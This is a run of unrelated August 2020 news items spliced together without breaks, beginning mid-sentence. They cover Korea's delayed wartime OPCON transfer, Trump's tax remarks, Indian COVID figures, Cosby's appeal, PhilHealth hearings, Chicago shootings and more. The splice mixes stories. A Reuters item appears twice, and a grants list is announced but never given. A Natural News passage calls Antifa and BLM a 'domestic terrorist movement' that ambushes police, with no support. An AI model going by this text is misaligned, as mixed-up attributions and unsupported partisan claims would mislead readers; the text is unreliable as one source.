will be scaled down due to the COVID-19 pandemic. This means procedures necessary for the transition will not be carried out as planned. To complete the transfer of wartime OPCON, the military had planned to use the drills in August to assess its full operational capability (FOC), the second step in a three-phase verification process for the transition. But the allies reportedly decided to exclude the FOC verification, as U.S. troops in charge of this process cannot come to Korea due to concerns over spreading the coronavirus. The Korean language edition of Voice of America (VOA) reported Monday that FOC verification would be impossible, citing a U.S. official. "It will be impossible to conduct the assessment, known as a Full Operational Capability test, in large part because of the 14 day quarantine requirement for U.S. personnel coming to Korea, a U.S. official said," William Gallo, the Seoul bureau chief for VOA, wrote on his Twitter. According to Gallo, the official acknowledged that the failure to conduct the FOC would delay the OPCON transfer but added, "Any decision regarding OPCON transition will be an alliance decision and is based on bilaterally agreed to conditions and not a timeline." If the FOC test is delayed, the third phrase of verification full mission capability (FMC) which the government planned to carry out next year would also be postponed. This rescheduling could lead to a delay in the goal to retake wartime OPCON before President Moon Jae-in's five-year term ends. Following the VOA report, the Korean military said it closely consulting with its U.S. counterparts over ways to conduct the exercise. According to sources, the two militaries will hold the joint exercise from Aug. 16 to 28, after carrying out a preliminary Crisis Management Staff Training (CMST) drill for four days from Tuesday. Defense watchers said scaling down the summertime exercise was a foregone conclusion given the COVID-19 restrictions; and so FOC verification would be impossible as it requires a full formation of both Korean and U.S. troops. In August last year, the allies conducted their first joint military exercise led by a Korean general for initial operational capability (IOC) verification, the first phrase of the transfer. "Last year's summertime joint drill focused on the IOC which assessed the process of completing the formation of the troops. The FOC verification, which was supposed to be conducted during this year's drill, is about assessing the operation of the troops after formation," said Shin Beom-chul, a director of the Center for Diplomacy and Security at the Korea Research Institute for National Strategy. "For the FOC verification, the United States Forces Korea (USFK) should be able to send a full complement of troops necessary for the task, but this was impossible amid the COVID-19 pandemic." Park Won-gon, a professor of international politics at Handong Global University, claimed the U.S. government was reluctant to conduct FOC verification, and such stance could be seen in USFK commander Gen. Robert Abrams's July 1 lecture at a forum on the Korea-U.S. military alliance. In the lecture, Abrams said the allies should resume theater-level combined post-command exercises as the springtime drills were postponed due to COVID-19, as these were essential to maintain military readiness. "What Abrams was trying to say was that Korea and the U.S. should not push ahead with the FOC when they are not able to meet the basic conditions especially when joint exercises cannot be conducted as before amid the pandemic," Park said. Park also said other U.S. government officials don't appear to favor the transfer of wartime OPCON when a conflict with China was mounting as they would want to retain influence on the Korean Peninsula to hold Beijing in check. "In fact, it was U.S. President Donald Trump who supported the idea of the transfer of wartime OPCON, as he thought keeping it meant that the U.S. was taking the burden in terms of money and political responsibility. But it seems the Trump administration is losing control over the matter as there are other big issues it needs to focus." President Donald Trump prepares to sign four executive orders during a news conference at the Trump National Golf Club in Bedminster, N.J., Aug. 8, 2020. (Susan Walsh/AP Photo) Trump Mulls Capital Gains and Middle-Income Tax Cuts to Revive Economy President Donald Trump said he is considering capital gains and middle-income tax cuts to revive the pandemic-stricken economy. Were looking at also considering a capital gains tax cut, which will create a lot more jobs, Trump told reporters at the White House on Monday. The presidents remarks come days after he signed a series of executive orders to extend the enhanced jobless benefit, to defer payroll taxes and federal student loan payments, and to prolong an eviction moratorium, after negotiations between congressional and administration representatives on additional COVID-19 aid ground to a halt. Looking very seriously at a capital gains tax cut and also at an income tax cut for middle-income families, Trump said, adding, I think it will be very exciting. A capital gains tax is going to be a lot of people put to work, and it will be a cut in the capital gains tax and also a cut in the middle-income tax. The impact on the economy of cutting the capital gains tax rate, which is currently 20 percent in the United States, is a matter of debate between economists, with traditional-view models predicting it leads to more capital investment and jobs. Critics argue it is a windfall for the rich, reduces budgetary inflows, and has little proven impact on capital investment and job creation. Proponents say the benefits of a capital gains tax are widely distributed as many Americans have exposure to equities markets. They also point to evidence showing that when the capital gains tax was cut from 28 percent to 20 percent in 1997, budgetary inflows grew from $62 billion in 1996 to $79 billion in 1997, rising to $89 billion in 1998 and $109 billion in 1999. With regard to driving investment, a recent Princeton University study (pdf) concluded: Taken together, the findings are consistent with a class of the traditional-view models predicting that lower capital taxes spur equity-financed investment by increasing the marginal returns on investment. Trumps executive order on payroll taxes, which he signed on Saturday, defer the employee portion of the payroll tax from Aug. 1 through the end of the year. Those tax liabilities are still due, though at a later date, making the move equivalent to an interest-free loan that eventually must be repaid. Trump said, however, that he would ask Congress to extend or forgive those tax debts. Deferral of the 6.2 percent payroll tax on employees for the last three months of this year could mean that up to $100 billion in payments to the Social Security Trust Fund would be delayed, according to an updated estimate by the nonpartisan Committee For A Responsible Federal Budget, which advocates for reducing government deficits. Critics, including the Democratic National Committee and Rep. John Larson (D-Conn.), who chairs the House Ways and Means subcommittee overseeing the retirement program, claim that with the payroll tax deferral, Trump is undermining Social Security. What it does is undercut Social Security, Larson said, adding that the president is defunding Social Security and breaking his promise. He will say, Im not doing anything to touch Social Security, Im just deferring this, but its as clear as my hand in front me. The White House said the Treasury Department will guarantee that the Social Security Trust Fund is made whole, while White House spokesman Judd Deere pushed back against criticism, saying: Providing a payroll tax deferral poses no risk to the Social Security Trust Fund and puts more money in the pockets of hardworking Americans as we fight to end this pandemic from China and rebuild our economy safely. Trump told reporters on Monday that deferring or permanently cutting the payroll tax wont affect Social Security. What were doing is we reimburse through the general fund, not through Social Security. This will have no impact on Social Security, Trump said. Chennai: A fresh seizure of Rs 24 crore cash in new notes was on Saturday made by the Income Tax department, adding to the biggest haul of cash and gold post demonetisation, in which over Rs 142 crore unaccounted assets have been recovered in tax operations so far here. Officials said the fresh seizure of new currency, in Rs 2000 notes, was made by the sleuths from a car in Vellore on the insistence of the accused presently being interrogated in the case. With this amount, the total seizure in the case has now gone upto Rs 166 crore in a single case. The department had seized Rs 142 crore undisclosed assets that includes about Rs 10 crore in new notes and gold bars weighing 127 kgduring searches at multiple locations in Chennai, for the last two days, to check tax evasion. ALSO READ: (IT dept seizes unaccounted assets worth over Rs 142 crore, gold bars weighing 127 kg at multiple locations in Chennai) This largest seizure of new currency notes in the country, after the old Rs 500/1,000 notes were scrapped on November 8, was seized after raids were launched on Thursday on eight premises of a group engaged in sand mining in Tamil Nadu. The group has sand mining licence for the entire state of Tamil Nadu. Eight premises (six residential and two offices) were covered in the search. During the search, Rs 96.89 crore cash in old high denomination notes and Rs 9.63 crore in new Rs 2000 currency notes along with gold weighing 127 kg worth approximately Rs 36.29 crore were found and seized, as unaccounted assets, the Central Board of Direct Taxes, policy-making body for the I-T department, had said in a statement issued in Delhi. It had added that the searches are still in progress at four out of the total 8 premises and more specific details including modus operandi would emerge after examination of the documents and other evidence detected during the search. Officials had said S Reddy, a contractor working with the state government, has claimed the entire money and the gold as his own and is being questioned along with few other people. A senior department official said this seizure of gold and cash was an unprecedented amount that the tax department has seized in recent times. The department, the officials said, carried out the searches based on intelligence inputs about the activities of Reddy and few others for the last few days. Officials said the agency was investigating how the new notes in such a large quantity were stashed by the individual. The bundles of the new Rs 2000, that were seized, had no banking slips on the them and were jumbled up to mislead investigators, they said. The officials said a number of documents related to financial transactions, entries of gold sale and records of sale/purchase have also been seized by the tax sleuths. He (Reddy) is a contractor working with the state government.He is claiming the entire cash and gold to be his own. Further probe is on, they had said. For all the Latest India News, Download News Nation Android and iOS Mobile Apps. One Morris County school district is asking parents to prepare for recurring, and possibly extensive, building closures when in-person instruction resumes in September. The weekend advisory from the K-12 Morris School District, which enrolls students from Morristown and Morris Township, comes as concerns about reopening buildings amid the coronavirus pandemic are being raised throughout New Jersey. It notes the possibility that the school year will begin with all-remote learning. Families should prepare for possible school closures. Whether for short periods of time on and off or for another extended closure, it is likely that at some point during the school year we will be closed once again to in-person instruction, reads the Aug. 8 administrative update on to the Morris School Districts website. It was posted two days after the Jersey City school board approved seeking state permission to begin the school year entirely with remote learning. On Monday night, the school board in Elizabeth similarly requested all-remote learning after 375 teachers cited health-related concerns in stating they would not return to the classroom in September. The Morris School District update notes that closures may come without much advance notice and cited the states coronavirus transmission rate, which at the time of the Aug. 8 post was above the 1.0 benchmark often cited by Gov. Phil Murphy. Any number above 1 means each newly infected person, on average, is spreading the virus to at least one other person. We encourage parents to begin making backup arrangements for childcare now, in the event that in-person reopening is delayed and the school year begins with virtual instruction for all students, the post reads. Murphy announced Monday that the states transmission rate had fallen to 0.98, eight days after rising to 1.49. More than 5,000 students are enrolled in the Morris School District, which includes Morristown High School. Please subscribe now and support the local journalism YOU rely on and trust. Rob Jennings may be reached at rjennings@njadvancemedia.com. Hamas launches missiles toward Mediterranean Sea 'in warning to Israel' Iran Press TV Monday, 10 August 2020 5:30 PM The Palestinian Islamic Resistance Movement, Hamas, has launched a barrage of missiles towards the sea in what is seen as another warning to the Israeli regime in the face of the ongoing blockade on the Gaza Strip and repeated acts of aggression against the impoverished enclave. At least eight rockets were seen in the sky to cheers from residents of the besieged coastal sliver on Monday, and headed toward the Mediterranean Sea. The rockets were a "message" to Israel to let it know that resistance groups in Gaza will not "remain silent" in the face of the Israeli blockade and "aggression," an unnamed source close to Hamas told AFP. The source noted that the rocket fire coincided with the recent launch of incendiary balloons from the Strip into the occupied territories. The Hamas-run Interior Ministry later hailed the rockets as "an act of resistance" in a statement. The Gaza Strip has been under Israeli land, air and sea blockade since June 2007, after Hamas, which has vowed to resist Israeli occupation, rose to power in the enclave, where two million people live. Since then, the regime has been launching incessant aerial attacks on the territory for, what observers call, self-serving reasons. Since imposing the siege, it has also brought Gaza under three wholesale wars, killing thousands of Palestinians in each. The crippling Gaza blockade has caused a sharp decline in the standard of living as well as unprecedented levels of unemployment and unrelenting poverty in the strip. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address NEW DELHI: Prime Minister Narendra Modi interacted with the Chief Ministers of ten states and reviewed the coronavirus COVID-19 situation in the country and further measures required to check its spread on Tuesday (August 11, 2020). According to reports, PM Modi's interaction with the Chief Ministers via video-conference began around 11 AM. He interacted with the CMs of Andhra Pradesh, Karnataka, Tamil Nadu, West Bengal, Maharashtra, Punjab, Bihar, Gujarat, Telangana and Uttar Pradesh. PM Modi noted that 10 states account for over 80 per cent of active COVID-19 cases, and asserted if the virus is defeated in these states, then the country will also emerge victorious in its fight against the pandemic. We are able to work as a team in the fight against COVID-19, the PM told the chief ministers. During the meeting, the Chief Ministers of Tamil and Punjab sought more funds from the Centre to deal with the COVID-9 pandemic. We've received Rs 512.64 crore from Centre in 2 tranches under Emergency Response and Health Systems Preparedness package out of Rs 712.64 crore allotted to state. I request this package may be stepped up to Rs 3,000 crore as my earlier request, Tamil Nadu CM Edappadi K Palaniswami Said at the video conference meeting with PM. As we have already fully exhausted State Disaster Response & Mitigation Fund, I also request an ad-hoc grant of Rs 1,000 crore from NDRF immediately to fight pandemic. Releasing pending CMR subsidy of Rs 1,321 crore at this time, will facilitate paddy procurement, the Tamil Nadu CM added. To make up for the shortfall, Tamil Nadu may be allocated 9,000 crore rupees special grant to combat COVID-19 and its aftereffects on the States economy. The GST compensation for April-June, 2020 may be released early, the Tamil Nadu CM urged the PM. On his turn, Punjab CM Captain Amarinder Singh sought from PM Narendra Modi a liberal financial package for states to fill the collection gap caused by the pandemic, and also flexibility on Covid-related terms of expenditure in SDRF. During his interaction with PM Modi, Capt Amarinder Singh said the current cap of 35% in State Disaster Relief Fund for COVID-19 related expenditure, as per MHA guidelines, is not sufficient to meet current requirements. Citing the states rising cases of COVID, which have gone up to 24891 with 604 deaths, the CM urged PM Modi to review the UGC decision on mandatory exams for exit classes to be held by September 30. Defence Minister Rajnath Singh is also present in the meeting. The meeting assumes significance as these 10 states have a high population density and the idea is to bring down the virus caseload. This is the seventh video conference of the Prime Minister with the states CMs since the outbreak of the pandemic. This is also the first meeting of the PM with chief ministers during Unlock 3.0 on the coronavirus pandemic. Since March, PM Modi had interacted with the CM and reviewed the coronavirus pandemic in India. During his interaction, the PM had called for strict adherence to Centre's guidelines and the social distancing norms to check the spread of Coronavirus. India, the third country worst hit by the COVID-19 pandemic, recorded a spike of 53,601 coronavirus cases on Tuesday, pushing the total tally to 22,68,675. The country tested a record over 871 deaths in a single day. The number of recoveries mounted to almost 16 lakh, more than twice the active cases. Out of the total cases, 6,39,929 are active cases while 15,83,489 have recovered from the disease and 45,257 people have lost their lives in the fight against the deadly virus. Notably, India recorded the highest number of recoveries in a single day at 47,746. The recovery rate has gone up to 69.79 per cent. On Monday, the government tested 6,98,290 samples. A total of 2,52,81,848 samples have been tested so far. Maharashtra remained the worst-hit state with a total of 5,15,332 cases and 17,757 deaths, followed by Tamil Nadu with 2,96,901 cases and 4,927 deaths. The southern state is followed by Andhra Pradesh, Karnataka, Delhi, and Uttar Pradesh. Globally, the overall number of Covid-19 cases has surpassed the 20 million mark, while the deaths have increased to over 7.34 lakh, according to the Johns Hopkins University. As of Tuesday morning, the total number of cases stood at 2,00,11,186 and the fatalities rose to 7,34,664, the University`s Center for Systems Science and Engineering (CSSE) revealed in its latest update. The US accounted for the world`s highest number of infections and fatalities at 50,89,416 and 1,63,425, respectively, according to the CSSE. Brazil came in second place with 30,57,470 infections and 1,01,752 deaths. Photo: The Canadian Press Bill Cosbys lawyers argued in an appeals filing Tuesday that it was fundamentally unfair to let prosecutors use Cosbys damaging deposition from a sex accusers lawsuit against him at trial. Cosby believes he had a binding promise from a prosecutor that he could never be charged in the case, and said testimony from five other accusers about encounters that took place years or even decades earlier had improperly prejudiced the jury against him. A spokeswoman for the Montgomery County district attorney's office declined comment but said prosecutors would file a response in the coming month. Cosby, 83, is serving a three- to 10-year prison term after the jury in his 2018 sex assault trial convicted him of three counts of felony sex assault over a 2004 encounter with accuser Andrea Constand. The filing claims a deposition by Cosby regarding the use of Quaaludes and allegations of uncharged sexual misconduct with about a half-dozen women was irrelevant evidence that served no legitimate non-propensity purpose. Cosbys lawyers argued those incidents occurred too long ago, in some cases going back to the 1970s, and that they lacked any striking similarities or comparable facts to the crimes he was tried for. A former prosecutor had declined to prosecute Cosby when she went to police in 2005. However, another prosecutor reopened the case in 2015 after The Associated Press successfully petitioned a federal judge to unseal filings in the lawsuit she filed against him, including Cosbys deposition testimony about a string of sexual encounters with young women over the years and his admission that he had gotten Quaaludes to give women before sex. Montgomery County Judge Steven T. ONeill allowed one other accuser to testify for the prosecution at Cosbys trial in 2017, when the jury deadlocked, and five when he was tried and convicted at a retrial the following year. The time-honoured prohibition on bad character evidence was effectively dismantled at Cosbys trial, when the court allowed decades-old, uncharged allegations of sexual misconduct, lawyer Jennifer Bonjean wrote in the appeal filing. Cosby said he relied on prosecutors promises not to bring charges when he gave the deposition despite the constitutional right not to incriminate himself. Although the evidence was purportedly allowed for a limited purpose, the prosecutions closing argument shows that the jury was urged to return a verdict against Cosby based on a depiction of him, unsupported by actual evidence, as a predator who drugged and raped women for decades, Cosbys new filing said. The result, defence lawyers argued, was a violation of Cosbys right to be tried on the crimes charged, rather than on an indictment of his entire life. The filing noted that Cosbys lawyers have not turned up a previous Pennsylvania case that directly addresses whether one prosecutor can make an unwritten promise not to prosecute that their elected successor must honour. Fundamental fairness and principles of due process mean that promise was binding on Montgomery County prosecutors, Cosbys lawyers argued. In June, Pennsylvanias highest court agreed to review those two issues, overturning a lower court that had rejected Cosbys appeal. Cosby has been imprisoned in suburban Philadelphia for nearly two years. Monday's decision came amid a resurgence of new COVID-19 cases in the Himalayan nation since the nearly four-month long lockdown was lifted on July 22, reports Xinhua news agency. Kathmandu: The Nepal government has decided to extend the suspension of domestic and international flights as well as public transport until August 31 amid the COVID-19 pandemic. On July 20, the Nepal's cabinet had decided to resume domestic and international flights which have remained suspended since March 22, from August 17 along with the decision of lifting the lockdown. Earlier, the Nepal's Ministry of Culture, Tourism and Civil Aviation recommended continuing to suspend flights. The government has also decided to enforce strict surveillance in the border areas and in Kathmandu Valley to monitor the human movement. As of Tuesday, Nepal has reported a total of 23,310 coronavirus cases, with 79 deaths. BEIRUT (Reuters) - Lebanon's Prime Minister Hassan Diab announced on Monday the resignation of his government after a powerful Beirut port explosion sparked public uproar against the country's leaders. (Reporting by Ellen Francis and Beirut team; Editing by Samia Nakhoul) BEIRUT (Reuters) - Lebanon's Prime Minister Hassan Diab announced on Monday the resignation of his government after a powerful Beirut port explosion sparked public uproar against the country's leaders. (Reporting by Ellen Francis and Beirut team; Editing by Samia Nakhoul) This story has not been edited by Firstpost staff and is generated by auto-feed. SAN DIEGO, CA / ACCESSWIRE / August 11, 2020 / Nascent Biotech, Inc. (OTCQB:NBIO) Announced today that It has significantly reduced its liabilities through stock conversion and payment of accrued liabilities. The reduction was achieved through the conversion of $1,600,000 in debt to equity and the payment of over $200,000 of liabilities. Nascent's CFO Lowell Holden stated, "I believe the Company has continued to be undervalued and the debt reduction allows the Company to invest funds into opening the clinical trials for brain cancer. Nascent's CEO Sean Carrick added," Shareholder confidence in the Senior Management team and the Company's asset along with this significantly reduce of Company debt will help to move our assets forward. This reduction of debt should result in a positive market impact, as Nascent continues to monetize its assets." About Nascent Biotech, Inc.: Nascent Biotech, Inc. (OTCQB: NBIO) is a clinical-stage biotech company pioneering the development of monoclonal antibodies (mAbs) for the treatment of incurable cancers such as brain and pancreas, as well as hard-to-treat cancers such as colon and lung. Nascent is also employing its mAbs as part of treatments for dangerous viral infections, such as COVID-19. Collectively, cancers and viral infections afflict and kill tens of millions worldwide each year. Nascent's products are not commercially available. Our lead candidate, Pritumumab (PTB), is a fully-human mAb that will commence study in an FDA-approved Phase I clinical trial later this year for the treatment of primary and metastatic brain cancer, including glioblastoma and malignant astrocytoma. Development of PTB as a potential treatment for COVID-19 has been initiated. For more information, visit www.nascenbiotech.com. Safe Harbor: Statements in this press release about our future expectations constitute "forward-looking statements" within the meaning of Section 27A of the Securities Act of 1933, Section 21E of the Securities Exchange Act of 1934, and as that term is defined in the Private Litigation Reform Act of 1995. Such forward-looking statements involve risks and uncertainties and are subject to change at any time, and our actual results could differ materially from expected results. These risks and uncertainties include, without limitation, Nascent Biotech Inc's ability to target the medical professionals; Nascent Biotech Inc's ability to raise capital; as well as other risks. Additional information about these and other factors may be described in the Nascent Biotech Inc's Form 10, filed on May 2, 2015, and future subsequent filings with the Securities and Exchange Commission. The Company undertakes no obligation to update or release any revisions to these forward-looking statements to reflect events or circumstances after the date of this statement or to reflect the occurrence of unanticipated events, except as required by law. This press release shall not constitute an offer to sell or the solicitation of an offer to buy any securities nor will there be any sale of these securities in any state or other jurisdiction in which such offer, solicitation or sale would be unlawful prior to registration or qualification under the securities laws of any such state or other jurisdiction. Contact: Nascent Biotech Inc. Sean Carrick President | CEO Nascent Biotech, Inc. 6330 Nancy Ridge Dr Suite 105 San Diego CA 92121 772.713.0541 Cell sean.carrick@nascentbiotech.com SOURCE: Nascent Biotech Inc. View source version on accesswire.com:https://www.accesswire.com/601103/Nascent-Biotech-Reduces-Liabilities-by-Over-18-Million-Dollars Source: Xinhua| 2020-08-11 17:33:45|Editor: huaxia Video Player Close GAZA, Aug. 11 (Xinhua) -- Hamas movement slammed Israel on Tuesday for closing the commercial crossing of Kerem Shalom on the borders between southern Gaza Strip and Israel. Abdulatif al-Qanou'a, Hamas spokesman in Gaza, said in an emailed press statement that the closure of the only commercial crossing point "is part of putting pressure on Gaza and suffocate its citizens." "The Israeli occupation banned the shipment of construction materials and closed Kerem Shalom commercial crossing point," said al-Qanou'a. Israel earlier announced that it decided to shut down partially Kerem Shalom commercial crossing point with Gaza in response to the firing of incendiary balloons carrying explosive materials. Israel Radio reported that in response to firing balloons from the Gaza Strip into southern Israel, Israel would partially close the Kerem Shalom crossing point and ban the shipment of construction raw-material into Gaza. However, the report said that the Israeli authorities would allow shipment of food products, humanitarian aid, and fuels to the Gaza Strip to put pressure on Hamas to stop firing balloons into Israel. "All means of pressure and threats would be meaningless, and no one can break our people's determination to end the siege," said al-Qanou'a. Enditem The Tennessee Department of Tourist Development and Tennessee Department of Economic and Community Development on Tuesday jointly announced 17 Tennessee Communities will receive more than $1 million in the fifth round of Tourism Enhancement Grants. The two agencies partnered to assist counties and cities seeking to improve local tourism assets with a goal to attract more visitors to their areas. In 2018, visitors added $22 billion to boost Tennessees economy. Tourism Enhancement Grants are designed for cities and counties seeking to invest in local tourism infrastructure assets. Eligible projects include stages, signage, enhancement to attractions or venues, park improvements and other resources that target expanding local tourism. Tourism is vital to fuel economic development in Tennessee, said Governor Bill Lee. These grants are especially important this year as we look to rebuild and restore our states tourism, particularly in Tennessees rural communities. Governor Bill Lees first executive order was to better serve rural communities. These tourism enhancement grants will address tourism needs for eight at-risk and six distressed communities. Tennessee has unparalleled outdoor beauty, waterways, fishing, boating and rural destinations rich with history, hidden gems and hospitality, said Commissioner Mark Ezell, Tennessee Department of Tourist Development. Our partnership with TNECD allows us to invest in unique projects that drive tourism and visitation, ultimately bringing more funds back into communities. This partnership helps rural communities across the state bring their tremendous tourism assets into the spotlight and will help boost the states overall economic prosperity, added Commissioner Bob Rolfe, Tennessee Department of Economic and Community Development. The Tourism Enhancement Grant program, in its fifth round, is funded through the Rural Economic Opportunity Act, which is designed to improve the economic indicators in rural communities across Tennessee. Each application was supported by the communitys senator and representative in the Tennessee General Assembly. The grants awarded include: Source: Xinhua| 2020-08-11 17:49:18|Editor: huaxia Video Player Close GAZA, Aug. 11 (Xinhua) -- For the first time in five months, Egypt on Tuesday reopened Rafah crossing point on the borders with southern Gaza Strip for three days to allow hundreds of stranded Palestinian travelers to cross. Egypt completely closed the border crossing point in mid-March as part of the tight precautionary measures to prevent the spread of the coronavirus pandemic. The Hamas-run ministries of interior and health said that all those who will cross through Rafah crossing point to Gaza should go to quarantine centers outside the populated areas of the coastal enclave for 21 days over the COVID-19 concerns. On Monday evening, the Hamas-run ministry of interior announced that Rafah's crossing point on the borders with Egypt would open for three days from Tuesday to Thursday. "All passengers will stay at three major quarantine centers for 21 days instead of going to schools or hotels," said Eyad al-Bozzom, spokesman of the ministry of interior, adding that all passengers must abide by medical testing and quarantine measures. Enditem Metro Manila (CNN Philippines, August 11) PhilHealth officials are defending the agency's use of a reimbursement mechanism intended for the pandemic, authorized way before the national government even recognized the COVID-19 crisis. The Senate Committee of the Whole resumed its probe on controversies hounding the state insurer, questioning the release of documents authorizing the interim reimbursement mechanism (IRM) fund releases to hospitals, which were supposedly intended for COVID-19 emergencies. Embattled PhilHealth chief Ricardo Morales, who was virtually present, said: "Ang intensyon ho ng PhilHealth ay maunahan iyong pandemic." [Translation: The intention of PhilHealth was to preempt the pandemic.] "Naging alarmado kayo. Nauna pa kayo sa DOH? (You were alarmed by the pandemic, way before the Department of Health was?)" Senate Vicente "Tito" Sotto III said during the hearing. The panel was questioning the adoption of Board Resolution 2496 from January 2020 which would supposedly address the pandemic, but was only initially intended for other "fortuitous events"such as floods, typhoons, insurgencies, or other man-made acts. An IRM is a mechanism which can be availed of by eligible hospitals directly hit by these events to provide continuous health care services to their patients. Senator Panfilo "Ping" Lacson and Senator Franklin Drilon claimed that officials may have just used COVID-19 as a "mere excuse," because even Health Secretary Francisco Duque III only warned the public about the crisis two to three months after. It was only around March when PhilHealth officials issued Circular 2020-007 specifically mandating the processing of the IRM, and covering the pandemic. But Lacson said over 703 million IRM fund releases had already been issued to hospitals prior to the adoption of the resolution. "The management submitted to the Board the use of IRM for the pandemic because of the magnitude of the amount to be released, that the management deemed it proper to release the IRM," said Board of Directors Corporate Secretary Jonathan Mangaoang. But according to PhilHealth board member Angelo Cabading, officials did not even bring up the pandemic in its January meeting. The agency bared that Southern Philippines Medical Center, based in Davao City, got the highest amount of compensation under the IRM worth 326 million. Davao City is located in Davao region, which is President Rodrigo Duterte's hometown. Davao Regional Medical Center in Tagum City also received 209 million. Senator Cynthia Villar also revealed that based on data she got from PhilHealth, only one facility, a government hospital, received an IRM in Western Visayas. In the previous hearing, other senators raised that private institutions were given priority. Morales blamed the regional vice president in Western Visayas for alleged slow processing of IRM requests. However, Lacson presented reports showing the regional official had already been sending letters to Morales to follow up on the approval of their IRMs. Morales backtracked, saying he would re-check the records. "So it's unfair... that you're blaming right away the regional director because ito lumalabas na nagfafollow-up sa inyo p this is what is showing up that she was following up with you]," said Senate President Tito Sotto. PhilHealth corporate legal counsel Atty. Roberto Labe Jr. said IRM funds were covered by receipts, and that funds were not "pocketed by anyone as alleged." During last week's Senate hearing, some PhilHealth officials were accused of stealing some 15 billion from the agency, apart from other fraudulent schemes. In his address to the nation late Monday evening, President Rodrigo Duterte warned that he would get rid of PhilHealth officials found liable for acts of corruption. Where is Duque? Amid the turmoil in PhilHealth, Senator Risa Hontiveros raised that Health Secretary Francisco Duque has been silent on the matter. Hontiveros, who used to be in the PhilHealth board with the secretary, urged Duque to speak up on the mess surrounding the agency. The senator pointed out that Duque had been present in 15 out of 18 of the corporation's board meetings last year, adding that Duque was also informed about the alleged "mafia" in the agency previously. "Why is the Health Secretary unscathed in all of this?" Hontiveros argued. The senator also pointed out that Duque assumed several high positions such as President, board member and board chair of the state insurer since 2001. "He cannot feign ignorance," the senator said. (Natural News) The City of Chicago, led by Democratic Mayor Lori Lightfoot, witnessed a 139 percent increase in murders this past July, when compared with the same month last year. Additionally, according to the Chicago Sun-Times, there were more than 406 reported shooting incidents in Chicago in July, which represents a 75 percent increase from the 232 incidents in July of last year. When comparing January to July of this year to the previous year, murders were up 51 percent. Last months 406 shooting incidents resulted in 105 murders, which represents a 139 percent increase from the 44 shooting-related deaths reported in July 2019. Some of the people who were killed were juveniles, including a nine-year-old boy who was shot and killed in the middle of a gang-related shootout on the evening of Friday, July 31. Apart from the 105 murders, 468 other people received gunshot wounds, including a three-year-old girl who was shot while riding in her familys car on July 22. July has been a particularly bloody month, starting out with 79 people shot during the Fourth of July weekend, eleven of whom were minors, and two of those juveniles a 13-year-old girl and a seven-year-old girl were killed. This was followed by the largest mass shooting in the citys recent memory, when 15 people were shot right outside a funeral home on July 23. (Related: Watch: Rioters use peaceful protests as cover for attacks on Chicago police.) Members of the Chicago Police Department (CPD) have also been injured while performing their duties during the bloody month, such as when three officers were wounded when a man who was taken into custody at Grand Central District police station in the Austin neighborhood opened fire using a gun he failed to divulge to the officers who arrested him. One officer was shot in the shoulder, another in the hip and the third was struck by a bullet on their ballistic vest. The suspect was wounded after officers returned fire and will be charged with attempted murder. In response to the increase in gun-related violence, the CPD established a new citywide unit that will help them combat it. As we continue moving more officers into the districts and closer to our communities, we have also been focused on creating teams that can address violent crime head on within our most vulnerable neighborhoods, reported CPD Supt. David Brown. Our officers will engage directly with residents, he continued. We will hear their concerns, and continue to work in partnership with them as part of an all-hands-on-deck effort to curb the violence in our communities. So far, CPD officers have been able to confiscate 5,600 illegal firearms, and have made 3,700 gun-related crime arrests a five percent increase from the same time last year. Listen to this episode of the Health Ranger Report, a podcast by Mike Adams, the Health Ranger, as he talks about how the Antifa and Black Lives Matter domestic terrorist movement is man-trapping police officers by staging fake emergency calls. When the officers arrive to respond, they ambush and kill them. Mayor Lightfoot blames lack of gun control for violence in her city When asked about her reaction to the massive increase in gun-related violence in her city, Lightfoot placed the blame squarely on neighboring states that she believes are too gun-friendly or do not have the same gun control laws that Chicago has. Our gun problem is related to the fact that we have too many illegal guns on our streets, 60 percent of which come from states outside of Illinois, she said during an interview. We are being inundated with guns from states that have virtually no gun control, no background checks, no ban on assault weapons that is hurting cities like Chicago. Chicago Mayor Lightfoot: "We are being inundated with guns from states that have virtually no gun control, no background checks, no ban on assault weapons that is hurting cities like Chicago." pic.twitter.com/vGLKClYHYW The Hill (@thehill) July 26, 2020 Lightfoot failed to mention that the violence occurring in her city is happening under the guise of the Blair Holt Assault Weapons Ban, a county-wide ban on certain semiautomatic rifles, pistols, shotguns and other firearms that was first enacted back in 2007. It was hampered by several legal challenges, but its ban was upheld in August 2019 by the 7th Circuit Court of Appeals the ruling of which was reaffirmed when the U.S. Supreme Court refused to hold a hearing on the challenge in June of this year. Lightfoot also failed to mention that all of the states that surround Illinois Wisconsin, Missouri, Iowa, Indiana and Kentucky all require background checks for all retail gun sales because it is a federal requirement. Lastly, the mayor neglected to mention the fact that the federal background check requirement has been reaffirmed in the state of Illinois, which is run by Democrats, thanks to it being necessary for prospective gun owners to acquire their Firearm Owners Identification (FOID) card. Lightfoot has also taken several opportunities to criticize President Donald Trump and the federal government. When the president suggested that he would send in federal law enforcement agents to Chicago to crack down on violent crime, the mayor rejected the idea and said that the federal government can help by passing gun control laws instead. Learn more about how rioters and other criminals are using the recent wave of engineered civil unrest to their advantage by reading the latest articles at Rioting.news. Sources include: Breitbart.com Chicago.SunTimes.com Patch.com FoxNews.com VanMoof cofounder Taco Carlier riding one of the company's e-bikes. VanMoof Making money is hard at the best of times, but during the pandemic some businesses have had to think long and hard about how to generate revenue as governments forced physical stores to shut down. Thankfully, there's a little platform called the world wide web that has been a savior for businesses worldwide. Many already had an online presence, but others have rushed to set up and expand their websites as people were left with no choice but to shop online. VanMoof Trendy e-bike seller VanMoof had to shut stores in Amsterdam, Paris, Berlin, London, New York, San Francisco and Tokyo in March as the coronavirus spread. In many ways, lockdowns have worked in the Dutch company's favor, however, as people shunned public transport for other options. "We saw a spike in demand early on in March," VanMoof Chief Executive Taco Carlier told CNBC. "Online e-bike sales were up 48% between February and the end of March compared to the same period last year and sales have continued to boom for us." Between March and July, VanMoof said it sold roughly the same number of e-bikes as it did in the whole of 2019, generating nearly 40 million euros ($46 million) in revenue in five months. Carlier pointed out that the growth can't all be attributed to the coronavirus, saying a price drop on one model and the launch of a new one helped to boost sales. Like other companies, VanMoof's stores have reopened with stricter safety measures and other caveats like shop re-routing, appointment slots, disinfection stations and, of course, compulsory face masks. "It's weird how normal it has come to feel," said Carlier. Biscuiteers London-based Biscuiteers, which sells hand-iced luxury biscuits, told CNBC that it has seen its online revenues soar by 101% compared to this time last year, while two physical outlets in Notting Hill and Clapham remain closed. "We had to make immediate operational changes to bring our production in line with government guidelines, moving to flexible shift working and laying on bicycles and taxis for our staff to keep them off public transport," 